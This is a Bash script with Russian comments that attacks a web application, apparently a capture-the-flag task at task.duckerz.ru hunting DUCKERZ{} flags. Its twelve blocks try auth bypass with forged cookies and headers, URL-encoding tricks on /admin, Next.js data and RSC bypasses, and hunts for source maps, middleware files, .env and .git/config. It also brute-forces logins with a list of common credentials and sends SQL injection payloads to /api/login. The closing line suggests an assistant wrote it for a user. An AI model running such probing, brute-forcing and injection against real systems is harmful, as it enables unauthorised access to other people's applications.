---

T="http://task.duckerz.ru:21046"
BID="JJN36yMfd5yB9oQiq_ZJw"

echo "=================================================="
echo " БЛОК 1. Простые проверки (robots, sitemap, комменты)"
echo "=================================================="
echo "--- robots.txt ---"
curl -s --max-time 5 "$T/robots.txt"
echo
echo "--- sitemap.xml ---"
curl -s --max-time 5 "$T/sitemap.xml"
echo
echo "--- security.txt ---"
curl -s --max-time 5 "$T/.well-known/security.txt"
echo
echo "--- комментарии на главной ---"
curl -s --max-time 5 "$T/" | grep -oE "<!--[^>]*-->"
echo

echo "=================================================="
echo " БЛОК 2. Флаг в основных страницах (HTML + RSC)"
echo "=================================================="
for p in "/" "/login" "/admin" "/login?failed=1" "/login?next=/admin"; do
  echo "--- $p ---"
  curl -s --max-time 8 "$T$p" | grep -oE "DUCKERZ\{[^}]*\}"
  curl -s --max-time 8 "$T$p" -H "RSC: 1" | grep -oE "DUCKERZ\{[^}]*\}"
done
echo

echo "=================================================="
echo " БЛОК 3. Куки и заголовки на /admin"
echo "=================================================="
for c in "mdd=1" "mdd=admin" "mdd=true" "mdd=0" "mdd=2" "mdd=debug" "mdd=test" \
         "role=admin" "session=admin" "auth=1" "admin=1" "token=admin" \
         "logged=1" "isAdmin=true" "user=admin" "mode=admin"; do
  echo -n "Cookie: $c -> "
  curl -s -o /dev/null --max-time 5 -w "%{http_code} %{redirect_url}\n" \
    "$T/admin" -H "Cookie: $c"
done
echo
for h in "X-Forwarded-For: 127.0.0.1" "X-Forwarded-For: 0.0.0.0" \
         "X-Original-URL: /admin" "X-Rewrite-URL: /admin" \
         "X-Forwarded-Host: localhost" "X-Real-IP: 127.0.0.1" \
         "X-Admin: 1" "X-User: admin" "X-Role: admin" \
         "Authorization: Bearer admin" "Authorization: Basic YWRtaW46YWRtaW4="; do
  echo -n "$h -> "
  curl -s -o /dev/null --max-time 5 -w "%{http_code} %{redirect_url}\n" \
    "$T/admin" -H "$h"
done
echo

echo "=================================================="
echo " БЛОК 4. URL-трюки для /admin"
echo "=================================================="
for p in "/admin" "/admin/" "/ADMIN" "/Admin" "/%61dmin" "/ad%6din" \
         "/admin%00" "/admin%20" "/admin..;/" "/./admin" "/admin/." \
         "//admin" "/admin?" "/admin#" "/admin;x" "/aDmin" "/admin/index" \
         "/admin/../admin" "/admin%2f" "/%2fadmin" "/admin?_rsc=1" \
         "/admin?next=/" "/admin?failed=0" "/admin.json" "/admin.xml" \
         "/admin.txt" "/admin.bak" "/admin~" "/admin.php" "/admin.html"; do
  echo -n "$p -> "
  curl -s -o /dev/null --max-time 5 -w "%{http_code} %{redirect_url}\n" "$T$p"
done
echo

echo "=================================================="
echo " БЛОК 5. _next/data и RSC-обходы"
echo "=================================================="
for u in \
  "/_next/data/$BID/admin.json" \
  "/_next/data/$BID/admin.json?next=/admin" \
  "/_next/data/$BID/index.json" \
  "/_next/data/$BID/login.json" \
  ; do
  echo -n "$u -> "
  curl -s -o /dev/null --max-time 5 -w "%{http_code}\n" "$T$u"
done
echo
echo "--- RSC + x-nextjs-data ---"
for opts in \
  '-H "RSC: 1" -H "Next-Router-Prefetch: 1" -H "x-nextjs-data: 1"' \
  '-H "RSC: 1" -H "x-nextjs-data: 1"' \
  '-H "Next-Router-Prefetch: 1" -H "x-nextjs-data: 1"' \
  '-H "x-nextjs-data: 1"' \
  '-H "Next-Router-Segment-Prefetch: /admin"' \
  ; do
  echo "=== $opts ==="
  eval curl -s --max-time 8 "$T/admin" $opts | grep -oE "DUCKERZ\{[^}]*\}|NEXT_REDIRECT[^\"]*|matched-path[^\"]*"
done
echo

echo "=================================================="
echo " БЛОК 6. Брутфорс логина (расширенный)"
echo "=================================================="
for c in admin:admin admin:password admin:123456 admin:admin123 admin:qwerty \
         admin:letmein admin:duckerz admin:vestnik admin:severny admin:северный \
         admin:root admin:toor admin:pass admin:12345 admin:111111 admin:123 \
         admin:1234 admin:12345678 admin:qwerty123 admin:password1 \
         admin:admin1 admin:1q2w3e admin:qazwsx admin:zxcvbnm \
         editor:editor editor:password editor:123456 redactor:redactor \
         redactor:password user:user user:password test:test test:password \
         guest:guest moderator:moderator news:news vestnik:vestnik \
         severny:severny admin:swordfish admin:azerty admin:dragon; do
  l="${c%%:*}"; p="${c##*:}"
  r=$(curl -s -o /dev/null --max-time 5 -w "%{redirect_url}" -X POST "$T/api/login" \
      -d "login=$l&password=$p&next=/admin")
  if [[ "$r" != *"failed=1"* ]]; then
    echo "!!! НАЙДЕНО: $l:$p -> $r"
  else
    echo "$l:$p -> failed"
  fi
done
echo

echo "=================================================="
echo " БЛОК 7. Манифесты и сбор чанков"
echo "=================================================="
echo "--- app-build-manifest.json ---"
curl -s --max-time 5 "$T/_next/static/chunks/app-build-manifest.json"
echo
echo "--- _buildManifest.js ---"
curl -s --max-time 5 "$T/_next/static/$BID/_buildManifest.js"
echo
echo "--- _ssgManifest.js ---"
curl -s --max-time 5 "$T/_next/static/$BID/_ssgManifest.js"
echo
echo "--- все пути .js из манифеста ---"
curl -s --max-time 5 "$T/_next/static/$BID/_buildManifest.js" | grep -oE "static/[^\"']+\.js" | sort -u
echo

echo "=================================================="
echo " БЛОК 8. Source maps (критично!)"
echo "=================================================="
for f in \
  "app/page-149650cc9e4e6a3e.js" \
  "255-4f212684648fcab9.js" \
  "main-app-2ecc3bf42ae2d122.js" \
  "webpack-078f6dfb37dff419.js" \
  "4bd1b696-c023c6e3521b1411.js" \
  "polyfills-42372ed130431b0a.js" \
  "pages/_app.js" \
  ; do
  echo -n "$f.map -> "
  curl -s -o /dev/null --max-time 5 -w "%{http_code} %{size_download}\n" \
    "$T/_next/static/chunks/$f.map"
done
echo

echo "=================================================="
echo " БЛОК 9. Middleware и скрытые служебные файлы"
echo "=================================================="
for u in \
  "/_next/static/chunks/middleware-manifest.json" \
  "/_next/static/chunks/middleware.js" \
  "/_next/static/chunks/middleware.js.map" \
  "/_next/static/chunks/edge-runtime-webpack.js" \
  "/_next/static/chunks/_middleware.js" \
  "/_next/static/chunks/pages/_middleware.js" \
  "/_next/static/chunks/app/middleware.js" \
  "/_next/server/middleware-manifest.json" \
  "/_next/static/development/_middlewareManifest.js" \
  "/_next/static/chunks/webpack.js" \
  ; do
  echo -n "$u -> "
  curl -s -o /dev/null --max-time 5 -w "%{http_code} %{size_download}\n" "$T$u"
done
echo

echo "=================================================="
echo " БЛОК 10. Флаг во всех известных чанках + API-пути"
echo "=================================================="
for f in \
  "app/page-149650cc9e4e6a3e.js" \
  "255-4f212684648fcab9.js" \
  "main-app-2ecc3bf42ae2d122.js" \
  "webpack-078f6dfb37dff419.js" \
  "4bd1b696-c023c6e3521b1411.js" \
  "polyfills-42372ed130431b0a.js" \
  ; do
  echo "=== $f ==="
  curl -s --max-time 8 "$T/_next/static/chunks/$f" \
    | grep -oE "DUCKERZ\{[^}]*\}|/api/[a-zA-Z0-9_/-]+|/admin[a-zA-Z0-9_/?=&-]*|secret[a-zA-Z]*|flag[a-zA-Z]*|password[a-zA-Z]*|token[a-zA-Z]*" \
    | sort -u | head -30
done
echo

echo "=================================================="
echo " БЛОК 11. Типовые флаговые эндпоинты"
echo "=================================================="
for e in \
  /admin/flag /api/flag /flag /api/admin /admin/api /api/admin/flag \
  /api/me /api/user /api/profile /api/config /api/health /api/status \
  /admin.php /admin.html /admin.bak /admin~ /admin.json /admin.txt \
  /robots.txt /sitemap.xml /.git/config /.env /config.json /package.json \
  /_next/static/chunks/app/admin/page.js \
  /_next/static/chunks/app/admin/page.js.map \
  /_next/static/chunks/app/login/page.js \
  /_next/static/chunks/app/login/page.js.map \
  ; do
  code=$(curl -s -o /dev/null --max-time 5 -w "%{http_code}" "$T$e")
  size=$(curl -s -o /dev/null --max-time 5 -w "%{size_download}" "$T$e")
  echo "$e -> $code ($size bytes)"
done
echo

echo "=================================================="
echo " БЛОК 12. POST на /api/login — все варианты"
echo "=================================================="
echo "--- пустое тело ---"
curl -s -i --max-time 5 -X POST "$T/api/login" | head -8
echo
echo "--- неверные креды (базовый ответ) ---"
curl -s -i --max-time 5 -X POST "$T/api/login" -d "login=x&password=x" | head -8
echo
echo "--- SQLi в login ---"
for p in "admin'-- -" "admin' OR '1'='1" "' OR 1=1-- -" "admin'/**/OR/**/1=1--" "admin') OR ('1'='1"; do
  echo -n "$p -> "
  curl -s -o /dev/null --max-time 5 -w "%{redirect_url}\n" -X POST "$T/api/login" \
    -d "login=$p&password=x&next=/admin"
done
echo
echo "--- SQLi в password ---"
for p in "' OR '1'='1" "' OR 1=1-- -" "x' OR '1'='1" ; do
  echo -n "$p -> "
  curl -s -o /dev/null --max-time 5 -w "%{redirect_url}\n" -X POST "$T/api/login" \
    -d "login=admin&password=$p&next=/admin"
done
echo

echo "=================================================="
echo " ГОТОВО. Пришли вывод — разберём вместе."
echo "=================================================="